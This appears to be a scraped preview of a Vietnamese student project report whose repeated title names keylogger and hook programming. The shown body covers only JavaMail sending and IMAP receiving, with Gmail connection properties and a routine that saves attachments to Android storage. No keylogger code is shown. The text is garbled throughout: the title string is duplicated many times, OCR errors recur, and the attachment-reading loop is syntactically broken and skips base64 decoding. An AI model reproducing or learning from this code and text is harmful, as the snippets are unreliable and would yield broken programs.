BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

* Gửi mail
Các bước khởi tạo thì sẽ dùng chung các phương thức như khi nhận mail.
Muốn gửi một email thì cần phải có các nội dung đầu vào như sau: người gửi, mật khẩu,
người nhân, subject của email, nội dung email, các attachment.
Tồn bộ các thơng tin trên được đóng gói vào một đối tượng MimeMessage rồi được gửi
đi bằng phương thức:
Transport.send(message);
2.2.4. Giao thức nhận mail IMAP
* Các bước thực hiện
Quy trình cài đặt các phương thức để nhận mail gồm các bước sau đây:
Bước 1: Cài đặt Properties: thông số khởi tạo Session
Bước 2: Tạo đối tượng Session: một phiên làm việc với Server
Bước 3: Tạo đối tượng Store, kết nối với Server
Bước 4: Lấy Message
Bước 5: If Message khác rỗng then
Đọc Message
* Thông số kết nối
Muốn kết nối được đến một Mail Server thì cần phải xác định được địa chỉ, cổng, các
phương thức kết nối. Mỗi Mail Server sẽ có các thơng số khác nhau, được tìm thấy ở phần thơng

tin của Mail Server.
Properties props = new Properties();
props.setProperty("mail.store.protocol", "imaps");
props.setProperty("mail.imaps.host", "imaps.gmail.com");
props.setProperty("mail.imaps.port", "993");
props.setProperty("mail.imaps.socketFactory.class",
"javax.net.ssl.SSLSocketFactory");
props.setProperty("mail.imaps.socketFactory.fallback", "false");
* Đối tượng Store
Đối tượng Store chứa thông tin kho chứa email và các phương thức truy cập vào nó. Đối
tượng này được dùng để lưu hoặc lấy email.
Cách khởi tạo:
store = session.getStore("imaps");

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi

Trong đó: tham số là giao thức truy cập. Tham số “imaps” thể hiện ở đây dùng giao thức IMAP.
* Lấy Message chứa tệp dữ liệu
Mỗi đối tượng Message chứa thông tin của một tin nhắn email.
Với giao thức IMAP, chúng ta có thể lấy các Message trong từng folder cụ thể. Điều này
với POP3 thì khơng thể, POP3 chỉ lấy từ hộp thư INBOX.
Mỗi Mail Server có cách đặt tên mail folder khác nhau.
Một Message chứa các thông tin như: địa chỉ gửi, địa chỉ nhận, Subject, nội dung mail…
Sau khi lấy được các Message, việc tiếp theo chúng ta cần làm là chuyển các thông tin này thành
các thông tin cụ thể thông qua cài đặt lớp nội dung Mail riêng.
Nội dung Mail có thể có nhiều dạng khác nhau nên cần phải có một phương thức để hiển

thị đúng nội dung đó. Ví dụ: khơng thể đọc kiểu html và kiểu text/plain bằng cách giống nhau
được.
Ví dụ một phương thức đọc nội dung Message:
Message[] msgs =inbox.getMessages();
m=(Multipart)msgs[inbox.getMessageCount()-1].getContent();
for(int i=0;ibp = m.getBodyPart(i);
disposition = bp.getDisposition();
if(disposition!=null && (disposition.equals("ATTACHMENT"))){
fileName = bp.getFileName();
String str = (String)bp.getContent();
base64dec = new ByteArrayInputStream(str.getBytes());
String dir = Environment.getExternalStorageDirectory();
OutputStream output = new FileOutputStream(dir+"/"+fileName);
byte data[] = new byte[8192];
long total = 0;
int count;
while ((count = base64dec.read(data)) != -1){
total += count;
output.write(data, 0, count);
}

Tieu luan
BAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chiBAO.cao.do.an.co.so.NGANH.MANG.de.tai.ky.thuat.lap.trinh.hook.xay.dung.ung.dung.bat.phim.keylogger.de.tai.xay.dung.ung.dung.quan.ly.thu.chi


×